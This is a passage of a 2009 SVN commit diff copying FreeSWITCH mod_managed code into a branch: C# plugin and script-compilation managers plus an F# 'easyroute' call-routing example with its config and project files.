+        public Native.ManagedSession Session { get { return session; } }
+    }
+
+    public class ApiContext {
+        readonly string arguments;
+        readonly Native.Stream stream;
+        readonly Native.Event evt;
+
+        public ApiContext(string arguments, Native.Stream stream, Native.Event evt) {
+            this.arguments = arguments;
+            this.stream = stream;
+            this.evt = evt;
+        }
+
+        public string Arguments { get { return arguments; } }
+        public Native.Stream Stream { get { return stream; } }
+        public Native.Event Event { get { return evt; } }
+    }
+
+    public class ApiBackgroundContext {
+        readonly string arguments;
+
+        public ApiBackgroundContext(string arguments) {
+            this.arguments = arguments;
+        }
+
+        public string Arguments { get { return arguments; } }
+    }
+
+    public interface IApiPlugin {
+        void Execute(ApiContext context);
+        void ExecuteBackground(ApiBackgroundContext context);
+    }
+
+    public interface IAppPlugin {
+        void Run(AppContext context);
+    }
+
+    public interface ILoadNotificationPlugin {
+        bool Load();
+    }
+
+}

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginManager.cs (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/PluginManager.cs) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginManager.cs	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginManager.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,294 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ *
+ * The Initial Developer of the Original Code is
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Jeff Lenk <jeff@jefflenk.com>
+ * 
+ * PluginManager.cs -- Plugin execution code
+ *
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Reflection.Emit;
+
+namespace FreeSWITCH {
+
+    internal abstract class PluginExecutor : MarshalByRefObject {
+        public override object InitializeLifetimeService() {
+            return null;
+        }
+
+        /// <summary>Names by which this plugin may be executed.</summary>
+        public List<string> Aliases { get { return aliases; } }
+        readonly List<string> aliases = new List<string>();
+        
+        /// <summary>The canonical name to identify this plugin (informative).</summary>
+        public string Name { get { return name; } }
+        readonly string name;
+
+        protected PluginExecutor(string name, List<string> aliases) {
+            if (string.IsNullOrEmpty(name)) throw new ArgumentException("No name provided.");
+            if (aliases == null || aliases.Count == 0) throw new ArgumentException("No aliases provided.");
+            this.name = name;
+            this.aliases = aliases.Distinct().ToList();
+        }
+
+        int useCount = 0;
+        protected void IncreaseUse() {
+            System.Threading.Interlocked.Increment(ref useCount);
+        }
+        protected void DecreaseUse() {
+            var count = System.Threading.Interlocked.Decrement(ref useCount);
+            if (count == 0 && onZeroUse != null) {
+                onZeroUse();
+            }
+        }
+
+        Action onZeroUse;
+        public void SetZeroUseNotification(Action onZeroUse) {
+            this.onZeroUse = onZeroUse;
+            if (useCount == 0) onZeroUse();
+        }
+
+        protected static void LogException(string action, string moduleName, Exception ex) {
+            Log.WriteLine(LogLevel.Error, "{0} exception in {1}: {2}", action, moduleName, ex.Message);
+            Log.WriteLine(LogLevel.Debug, "{0} exception: {1}", moduleName, ex.ToString());
+        }
+    }
+
+    internal sealed class AppPluginExecutor : PluginExecutor {
+
+        readonly Func<IAppPlugin> createPlugin;
+
+        public AppPluginExecutor(string name, List<string> aliases, Func<IAppPlugin> creator)
+            : base(name, aliases) {
+            if (creator == null) throw new ArgumentNullException("Creator cannot be null.");
+            this.createPlugin = creator;
+        }
+
+        public bool Execute(string args, IntPtr sessionHandle) {
+            IncreaseUse();
+            try {
+                using (var session = new Native.ManagedSession(new Native.SWIGTYPE_p_switch_core_session(sessionHandle, false))) {
+                    session.Initialize();
+                    session.SetAutoHangup(false);
+                    try {
+                        var plugin = createPlugin();
+                        var context = new AppContext(args, session);;
+                        plugin.Run(context);
+                        return true;
+                    } catch (Exception ex) {
+                        LogException("Run", Name, ex);
+                        return false;
+                    }
+                }
+            } finally {
+                DecreaseUse();
+            }
+        }
+    }
+
+    internal sealed class ApiPluginExecutor : PluginExecutor {
+
+        readonly Func<IApiPlugin> createPlugin;
+
+        public ApiPluginExecutor(string name, List<string> aliases, Func<IApiPlugin> creator)
+            : base(name, aliases) {
+            if (creator == null) throw new ArgumentNullException("Creator cannot be null.");
+            this.createPlugin = creator;
+        }
+
+        public bool ExecuteApi(string args, IntPtr streamHandle, IntPtr eventHandle) {
+            IncreaseUse();
+            try {
+                using (var stream = new Native.Stream(new Native.switch_stream_handle(streamHandle, false)))
+                using (var evt = eventHandle == IntPtr.Zero ? null : new Native.Event(new Native.switch_event(eventHandle, false), 0)) {
+                    try {
+                        var context = new ApiContext(args, stream, evt);
+                        var plugin = createPlugin();
+                        plugin.Execute(context);
+                        return true;
+                    } catch (Exception ex) {
+                        LogException("Execute", Name, ex);
+                        return false;
+                    }
+                }
+            } finally {
+                DecreaseUse();
+            }
+        }
+
+        public bool ExecuteApiBackground(string args) {
+            // Background doesn't affect use count
+            new System.Threading.Thread(() => {
+                try {
+                    var context = new ApiBackgroundContext(args);
+                    var plugin = createPlugin();
+                    plugin.ExecuteBackground(context);
+                    Log.WriteLine(LogLevel.Debug, "ExecuteBackground in {0} completed.", Name);
+                } catch (Exception ex) {
+                    LogException("ExecuteBackground", Name, ex);
+                }
+            }).Start();
+            return true;
+        }
+    }
+
+    internal abstract class PluginManager : MarshalByRefObject {
+        public override object InitializeLifetimeService() {
+            return null;
+        }
+
+        public List<ApiPluginExecutor> ApiExecutors { get { return _apiExecutors; } }
+        readonly List<ApiPluginExecutor> _apiExecutors = new List<ApiPluginExecutor>();
+
+        public List<AppPluginExecutor> AppExecutors { get { return _appExecutors; }  }
+
+        readonly List<AppPluginExecutor> _appExecutors = new List<AppPluginExecutor>();
+
+        bool isLoaded = false;
+
+        public bool Load(string file) {
+            Console.WriteLine("Loading {0} from domain {1}", file, AppDomain.CurrentDomain.FriendlyName);
+            if (isLoaded) throw new InvalidOperationException("PluginManager has already been loaded.");
+            if (string.IsNullOrEmpty(file)) throw new ArgumentNullException("file cannot be null or empty.");
+            if (AppDomain.CurrentDomain.IsDefaultAppDomain()) throw new InvalidOperationException("PluginManager must load in its own AppDomain.");
+            var res = LoadInternal(file);
+            isLoaded = true;
+
+            if (res) {
+                res = (AppExecutors.Count > 0 || ApiExecutors.Count > 0);
+                if (!res) Log.WriteLine(LogLevel.Info, "No App or Api plugins found in {0}.", file);
+            }
+            return res;
+        }
+
+        protected abstract bool LoadInternal(string fileName);
+
+        protected bool RunLoadNotify(Type[] allTypes) {
+            // Run Load on all the load plugins
+            var ty = typeof(ILoadNotificationPlugin);
+            var pluginTypes = allTypes.Where(x => ty.IsAssignableFrom(x) && !x.IsAbstract).ToList();
+            if (pluginTypes.Count == 0) return true;
+            foreach (var pt in pluginTypes) {
+                var load = ((ILoadNotificationPlugin)Activator.CreateInstance(pt, false));
+                if (!load.Load()) {
+                    Log.WriteLine(LogLevel.Notice, "Type {0} requested no loading. Assembly will not be loaded.", pt.FullName);
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        protected void AddApiPlugins(Type[] allTypes) {
+            var iApiTy = typeof(IApiPlugin);
+            foreach (var ty in allTypes.Where(x => iApiTy.IsAssignableFrom(x) && !x.IsAbstract)) {
+                var del = CreateConstructorDelegate<IApiPlugin>(ty);
+                var exec = new ApiPluginExecutor(ty.FullName, new List<string> { ty.FullName, ty.Name }, del);
+                this.ApiExecutors.Add(exec);
+            }
+        }
+
+        protected void AddAppPlugins(Type[] allTypes) {
+            var iAppTy = typeof(IAppPlugin);
+            foreach (var ty in allTypes.Where(x => iAppTy.IsAssignableFrom(x) && !x.IsAbstract)) {
+                var del = CreateConstructorDelegate<IAppPlugin>(ty);
+                var exec = new AppPluginExecutor(ty.FullName, new List<string> { ty.FullName, ty.Name }, del);
+                this.AppExecutors.Add(exec);
+            }
+        }
+
+        #region Unload
+
+        bool isUnloading = false;
+        int unloadCount;
+        System.Threading.ManualResetEvent unloadSignal = new System.Threading.ManualResetEvent(false);
+        void decreaseUnloadCount() {
+            if (System.Threading.Interlocked.Decrement(ref unloadCount) == 0) {
+                unloadSignal.Set();
+            }
+        }
+
+        public void BlockUntilUnloadIsSafe() {
+            if (isUnloading) throw new InvalidOperationException("PluginManager is already unloading.");
+            isUnloading = true;
+            unloadCount = ApiExecutors.Count + AppExecutors.Count;
+            ApiExecutors.ForEach(x => x.SetZeroUseNotification(decreaseUnloadCount));
+            AppExecutors.ForEach(x => x.SetZeroUseNotification(decreaseUnloadCount));
+            unloadSignal.WaitOne();
+        }
+
+        #endregion
+
+        public static Func<T> CreateConstructorDelegate<T>(Type ty) {
+            var destTy = typeof(T);
+            if (!destTy.IsAssignableFrom(ty)) throw new ArgumentException(string.Format("Type {0} is not assignable from {1}.", destTy.FullName, ty.FullName));
+            var con = ty.GetConstructor(Type.EmptyTypes);
+            if (con == null) throw new ArgumentException(string.Format("Type {0} doesn't have an accessible parameterless constructor.", ty.FullName));
+
+            var rand = Guid.NewGuid().ToString().Replace("-", "");
+            var dm = new DynamicMethod("CREATE_" + ty.FullName.Replace('.', '_') + rand, ty, null, true);
+            var il = dm.GetILGenerator();
+            il.Emit(OpCodes.Newobj, ty.GetConstructor(Type.EmptyTypes));
+            il.Emit(OpCodes.Ret);
+
+            return (Func<T>)dm.CreateDelegate(typeof(Func<T>));
+        }
+    }
+
+    internal class AsmPluginManager : PluginManager {
+
+        protected override bool LoadInternal(string fileName) {
+            Assembly asm;
+            try {
+                asm = Assembly.LoadFrom(fileName);
+            } catch (Exception ex) {
+                Log.WriteLine(LogLevel.Info, "Couldn't load {0}: {1}", fileName, ex.Message);
+                return false;
+            }
+
+            // Ensure it's a plugin assembly
+            var ourName = Assembly.GetExecutingAssembly().GetName().Name;
+            if (!asm.GetReferencedAssemblies().Any(n => n.Name == ourName)) {
+                Log.WriteLine(LogLevel.Debug, "Assembly {0} doesn't reference FreeSWITCH.Managed, not loading.");
+                return false; 
+            }
+
+            // See if it wants to be loaded
+            var allTypes = asm.GetExportedTypes();
+            if (!RunLoadNotify(allTypes)) return false;
+
+            AddApiPlugins(allTypes);
+            AddAppPlugins(allTypes);
+
+            return true;
+        }
+
+    }
+
+}

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ScriptPluginManager.cs (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/ScriptPluginManager.cs) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ScriptPluginManager.cs	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ScriptPluginManager.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,250 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ *
+ * The Initial Developer of the Original Code is
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * 
+ * ScriptPluginManager.cs -- Dynamic compilation and script execution
+ *
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.CodeDom;
+using System.CodeDom.Compiler;
+using System.IO;
+using System.Reflection;
+using System.Reflection.Emit;
+
+
+namespace FreeSWITCH {
+
+    public enum ScriptContextType {
+        None,
+        App,
+        Api,
+        ApiBackground,
+    }
+
+    public static class Script {
+
+        [ThreadStatic]
+        internal static ScriptContextType contextType;
+        [ThreadStatic]
+        internal static object context;
+
+        public static ScriptContextType ContextType { get { return contextType; } }
+
+        public static ApiContext GetApiContext() {
+            return getContext<ApiContext>(ScriptContextType.Api);
+        }
+        public static ApiBackgroundContext GetApiBackgroundContext() {
+            return getContext<ApiBackgroundContext>(ScriptContextType.ApiBackground);
+        }
+        public static AppContext GetAppContext() {
+            return getContext<AppContext>(ScriptContextType.App);
+        }
+
+        public static T getContext<T>(ScriptContextType sct) {
+            var ctx = context;
+            if (ctx == null) throw new InvalidOperationException("Current context is null.");
+            if (contextType != sct) throw new InvalidOperationException("Current ScriptContextType is not " + sct.ToString() + ".");
+            return (T)ctx;
+        }
+
+    }
+
+    internal class ScriptPluginManager : PluginManager {
+
+        protected override bool LoadInternal(string fileName) {
+            Assembly asm;
+            if (Path.GetExtension(fileName).ToLowerInvariant() == ".exe") {
+                asm = Assembly.LoadFrom(fileName);
+            } else {
+                asm = compileAssembly(fileName);
+            }
+            if (asm == null) return false;
+
+            return processAssembly(fileName, asm);
+        }
+
+        Assembly compileAssembly(string fileName) {
+            var comp = new CompilerParameters();
+            var mainRefs = new List<string> { 
+                Path.Combine(Native.freeswitch.SWITCH_GLOBAL_dirs.mod_dir, "FreeSWITCH.Managed.dll"),
+                "System.dll", "System.Xml.dll", "System.Data.dll" 
+            };
+            var extraRefs = new List<string> {
+                "System.Core.dll", 
+                "System.Xml.Linq.dll",
+            };
+            comp.ReferencedAssemblies.AddRange(mainRefs.ToArray());
+            comp.ReferencedAssemblies.AddRange(extraRefs.ToArray());
+            CodeDomProvider cdp;
+            var ext = Path.GetExtension(fileName).ToLowerInvariant();
+            switch (ext) {
+                case ".fsx":
+                    cdp = CodeDomProvider.CreateProvider("f#");
+                    break;
+                case ".csx":
+                    cdp = new Microsoft.CSharp.CSharpCodeProvider(new Dictionary<string, string> { { "CompilerVersion", "v3.5" } });
+                    break;
+                case ".vbx":
+                    cdp = new Microsoft.VisualBasic.VBCodeProvider(new Dictionary<string, string> { { "CompilerVersion", "v3.5" } });
+                    break;
+                case ".jsx":
+                    // Have to figure out better JS support
+                    cdp = CodeDomProvider.CreateProvider("js");
+                    extraRefs.ForEach(comp.ReferencedAssemblies.Remove);
+                    break;
+                default:
+                    if (CodeDomProvider.IsDefinedExtension(ext)) {
+                        cdp = CodeDomProvider.CreateProvider(CodeDomProvider.GetLanguageFromExtension(ext));
+                    } else {
+                        return null;
+                    }
+                    break;
+            }
+
+            comp.GenerateInMemory = true;
+            comp.GenerateExecutable = true;
+
+            Log.WriteLine(LogLevel.Info, "Compiling {0}", fileName);
+            var res = cdp.CompileAssemblyFromFile(comp, fileName);
+
+            var errors = res.Errors.Cast<CompilerError>().Where(x => !x.IsWarning).ToList();
+            if (errors.Count > 0) {
+                Log.WriteLine(LogLevel.Error, "There were {0} errors compiling {1}.", errors.Count, fileName);
+                foreach (var err in errors) {
+                    if (string.IsNullOrEmpty(err.FileName)) {
+                        Log.WriteLine(LogLevel.Error, "{0}: {1}", err.ErrorNumber, err.ErrorText);
+                    } else {
+                        Log.WriteLine(LogLevel.Error, "{0}: {1}:{2}:{3} {4}", err.ErrorNumber, err.FileName, err.Line, err.Column, err.ErrorText);
+                    }
+                }
+                return null;
+            }
+            Log.WriteLine(LogLevel.Info, "File {0} compiled successfully.", fileName);
+            return res.CompiledAssembly;
+        }
+
+        bool processAssembly(string fileName, Assembly asm) {
+            // Call the entrypoint once, to initialize apps that need their main called
+            var entryPoint = getEntryDelegate(asm.EntryPoint);
+            try { entryPoint(); } catch {  }
+
+            // Check for loading
+            var allTypes = asm.GetExportedTypes();
+            if (!RunLoadNotify(allTypes)) return false;
+
+            // Scripts can specify classes too
+            AddApiPlugins(allTypes);
+            AddAppPlugins(allTypes);
+
+            // Add the script executors
+            var name = Path.GetFileName(fileName);
+            var aliases = new List<string> { name };
+            this.ApiExecutors.Add(new ApiPluginExecutor(name, aliases, () => new ScriptApiWrapper(entryPoint)));
+            this.AppExecutors.Add(new AppPluginExecutor(name, aliases, () => new ScriptAppWrapper(entryPoint)));
+
+            return true;
+        }
+
+        class ScriptApiWrapper : IApiPlugin {
+
+            readonly Action entryPoint;
+            public ScriptApiWrapper(Action entryPoint) {
+                this.entryPoint = entryPoint;
+            }
+
+            public void Execute(ApiContext context) {
+                Script.contextType = ScriptContextType.Api;
+                Script.context = context;
+                try {
+                    entryPoint();
+                } finally {
+                    Script.contextType = ScriptContextType.None;
+                    Script.context = null;
+                }
+            }
+
+            public void ExecuteBackground(ApiBackgroundContext context) {
+                Script.contextType = ScriptContextType.ApiBackground;
+                Script.context = context;
+                try {
+                    entryPoint();
+                } finally {
+                    Script.contextType = ScriptContextType.None;
+                    Script.context = null;
+                }
+            }
+
+        }
+
+        class ScriptAppWrapper : IAppPlugin {
+            
+            readonly Action entryPoint;
+            public ScriptAppWrapper(Action entryPoint) {
+                this.entryPoint = entryPoint;
+            }
+
+            public void Run(AppContext context) {
+                Script.contextType = ScriptContextType.App;
+                Script.context = context;
+                try {
+                    entryPoint();
+                } finally {
+                    Script.contextType = ScriptContextType.None;
+                    Script.context = null;
+                }
+            }
+
+        }
+
+        static Action getEntryDelegate(MethodInfo entryPoint) {
+            if (!entryPoint.IsPublic || !entryPoint.DeclaringType.IsPublic) {
+                Log.WriteLine(LogLevel.Error, "Entry point: {0}.{1} is not public. This may cause errors with Mono.",
+                    entryPoint.DeclaringType.FullName, entryPoint.Name);
+            }
+            var dm = new DynamicMethod(entryPoint.DeclaringType.Assembly.GetName().Name + "_entrypoint_" + entryPoint.DeclaringType.FullName + entryPoint.Name, null, null, true);
+            var il = dm.GetILGenerator();
+            var args = entryPoint.GetParameters();
+            if (args.Length > 1) throw new ArgumentException("Cannot handle entry points with more than 1 parameter.");
+            if (args.Length == 1) {
+                if (args[0].ParameterType != typeof(string[])) throw new ArgumentException("Entry point paramter must be a string array.");
+                il.Emit(OpCodes.Ldc_I4_0);
+                il.Emit(OpCodes.Newarr, typeof(string));
+            }
+            il.EmitCall(OpCodes.Call, entryPoint, null);
+            if (entryPoint.ReturnType != typeof(void)) {
+                il.Emit(OpCodes.Pop);
+            }
+            il.Emit(OpCodes.Ret);
+            return (Action)dm.CreateDelegate(typeof(Action));
+        }
+
+    }
+}

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples)

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples/easyroute)

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/App.config

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/App.config (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples/easyroute/App.config) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/App.config	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/App.config	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0"?>
+<configuration>
+  <appSettings>
+    <add key="connectionString" value="DSN=easyroute;User=root;Pwd=;" />
+    <add key="defaultProfile" value="sofia/default"/>
+    <add key="defaultGateway" value="192.168.1.1"/>
+    <!-- query can be changed, but fields must be in the same order, and the number parameter must be ? -->
+    <add key="query" value="SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = ? and numbers.gateway_id = gateways.gateway_id;" />
+    
+    <!-- To avoid other injections, the incoming number will remove characters matching this regex. Default [^0-9#\*] allows only digits, # and *. Use (?!.) to disable. -->
+    <add key="numberRegexFilter" value="[^0-9#\*]" />
+  </appSettings>
+</configuration>
\ No newline at end of file

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.fsproj

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.fsproj (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.fsproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.fsproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.fsproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="3.5" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>8.0.30703</ProductVersion>
+    <SchemaVersion>2.0</SchemaVersion>
+    <ProjectGuid>{7b5259d4-eaa0-4bcc-9eac-8dc054a4a092}</ProjectGuid>
+    <OutputType>Library</OutputType>
+    <RootNamespace>fs_easyroute</RootNamespace>
+    <AssemblyName>easyroute</AssemblyName>
+    <TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
+    <Name>EasyRoute</Name>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <Tailcalls>false</Tailcalls>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <WarningLevel>3</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <Tailcalls>true</Tailcalls>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <WarningLevel>3</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
+    <Tailcalls>false</Tailcalls>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
+    <OtherFlags>
+    </OtherFlags>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Compile Include="easyroute.fs" />
+    <Content Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <Reference Include="FreeSWITCH.Managed, Version=1.0.4.0, Culture=neutral, PublicKeyToken=null">
+      <Name>FreeSWITCH.Managed</Name>
+      <AssemblyName>FreeSWITCH.Managed.dll</AssemblyName>
+      <SpecificVersion>False</SpecificVersion>
+      <HintPath>..\..\FreeSWITCH.Managed.dll</HintPath>
+      <Private>True</Private>
+    </Reference>
+    <Reference Include="FSharp.PowerPack, Version=1.9.6.16, Culture=neutral, PublicKeyToken=a19089b1c74d0809">
+      <Name>FSharp.PowerPack</Name>
+      <AssemblyName>FSharp.PowerPack.dll</AssemblyName>
+      <SpecificVersion>False</SpecificVersion>
+    </Reference>
+    <Reference Include="mscorlib" />
+    <Reference Include="FSharp.Core" />
+    <Reference Include="System" />
+    <Reference Include="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+      <Name>System.Configuration</Name>
+      <AssemblyName>System.configuration.dll</AssemblyName>
+      <SpecificVersion>False</SpecificVersion>
+    </Reference>
+    <Reference Include="System.Core">
+      <RequiredTargetFramework>3.5</RequiredTargetFramework>
+    </Reference>
+    <Reference Include="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
+      <Name>System.Data</Name>
+      <AssemblyName>System.Data.dll</AssemblyName>
+      <SpecificVersion>False</SpecificVersion>
+    </Reference>
+    <Reference Include="System.Transactions, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
+      <Name>System.Transactions</Name>
+      <AssemblyName>System.Transactions.dll</AssemblyName>
+      <SpecificVersion>False</SpecificVersion>
+    </Reference>
+  </ItemGroup>
+  <Import Project="$(MSBuildExtensionsPath)\FSharp\1.0\Microsoft.FSharp.Targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+	     Other similar extension points exist, see Microsoft.Common.targets.
+	<Target Name="BeforeBuild">
+	</Target>
+	<Target Name="AfterBuild">
+	</Target>
+	-->
+</Project>
\ No newline at end of file

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.sln

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.sln (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.sln) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.sln	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/EasyRoute.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 10.00
+# Visual Studio 2008
+Project("{F2A71F9B-5D33-465A-A702-920D77279786}") = "EasyRoute", "EasyRoute.fsproj", "{7B5259D4-EAA0-4BCC-9EAC-8DC054A4A092}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{7B5259D4-EAA0-4BCC-9EAC-8DC054A4A092}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{7B5259D4-EAA0-4BCC-9EAC-8DC054A4A092}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{7B5259D4-EAA0-4BCC-9EAC-8DC054A4A092}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{7B5259D4-EAA0-4BCC-9EAC-8DC054A4A092}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/easyroute.fs

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/easyroute.fs (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/examples/easyroute/easyroute.fs) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/easyroute.fs	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/examples/easyroute/easyroute.fs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+// To get unixodbc to work on Mono Linux, you may need to create an odbc32.dll link: ln -s /lib64/libodbc.so /lib64/odbc32.dll
+open System
+open System.Data
+open FreeSWITCH
+
+type QueryResult = { dialstring: string; group: string; acctcode: string; limit: int; translated: string }
+
+module easyroute =
+    // Basic config
+    let defaultStr def = function null | "" -> def | s -> s
+    let getAppSetting (name:string) = match Configuration.ConfigurationManager.AppSettings.Get name with null -> "" | x -> x
+    let connString      = getAppSetting "connectionString"
+    let defaultProfile  = getAppSetting "defaultProfile"
+    let defaultGateway  = getAppSetting "defaultGateway"
+    let query           = getAppSetting "query"
+    let configOk = [ connString; defaultProfile; defaultGateway; query; ] |> List.forall (String.IsNullOrEmpty >> not)
+    let numberRegexFilter = defaultStr "[^0-9#]" (getAppSetting "numberRegexFilter")
+    
+    // Determine if ODBC driver quotes parameters properly - MySQL < 3.51.16 apparently does not
+    // We'll select the string "'" -- if quoting works, we'll get ' back. Otherwise, it'll fail, and we'll refuse to load
+    // Error 1064 seems to be the syntax error code MySQL returns. Otherwise, the exception will still stop it from loading, just less gracefully.
+    let odbcOk = use conn = new Odbc.OdbcConnection(connString)
+                 use comm = new Odbc.OdbcCommand("SELECT ?", conn)
+                 comm.Parameters.AddWithValue("@test", "'") |> ignore
+                 conn.Open()
+                 try string (comm.ExecuteScalar()) = "'" 
+                 with :? Odbc.OdbcException as ex when ex.Errors.Count > 0 && ex.Errors.[0].NativeError = 1064 -> false
+                
+    let formatDialstring number gateway profile separator = 
+        match separator with 
+        | None   -> sprintf "%s/%s%s"   profile number gateway
+        | Some s -> sprintf "%s/%s%s%s" profile number s gateway
+
+    let getDefaultResult number sep = { 
+        dialstring = formatDialstring number defaultGateway defaultProfile sep;
+        limit = 9999; group = ""; acctcode = ""; translated = number; }
+        
+    let readResult (r: IDataReader) number sep =
+        let gw          = defaultStr defaultGateway <| r.GetString(0)
+        let group       = r.GetString(1)
+        let limit       = match r.GetInt32(2) with 0 -> 9999 | x -> x
+        let profile     = defaultStr defaultProfile <| r.GetString(3)
